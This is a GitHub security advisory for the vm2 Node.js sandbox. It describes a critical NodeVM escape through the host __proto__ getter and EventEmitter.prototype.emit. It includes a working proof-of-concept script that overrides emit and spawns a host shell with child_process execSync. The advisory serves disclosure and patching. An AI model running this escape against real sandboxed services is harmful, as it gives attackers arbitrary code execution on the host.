patriksimek/vm2 · Security

vm2: Sandbox Escape (NodeVM)

GHSA ID
GHSA-88hf-g992-jg85
CVE ID
CVE-2026-92955
Severity
critical
Published
Updated
CVSS
10 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS v3
10 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS v4
10 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Description

Summary

It being possible to obtain the host __proto__ getter/setter, has been used in many reports:

Yet it was never patched...


This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)

Details

The prototype chain for console._stdout/console._stderr is:

_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter

process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype

By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.

This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.

PoC

const { NodeVM } = require("vm2");

code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');

// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}

// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }

let p = console._stdout;
while (p.pipe) {
	console.log(p.constructor.name);
	p = gP.call(p);
};

p.emit = function(){
	console.log(this+[]);
	this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;

const vm = new NodeVM();
vm.run(code);

CWEs

References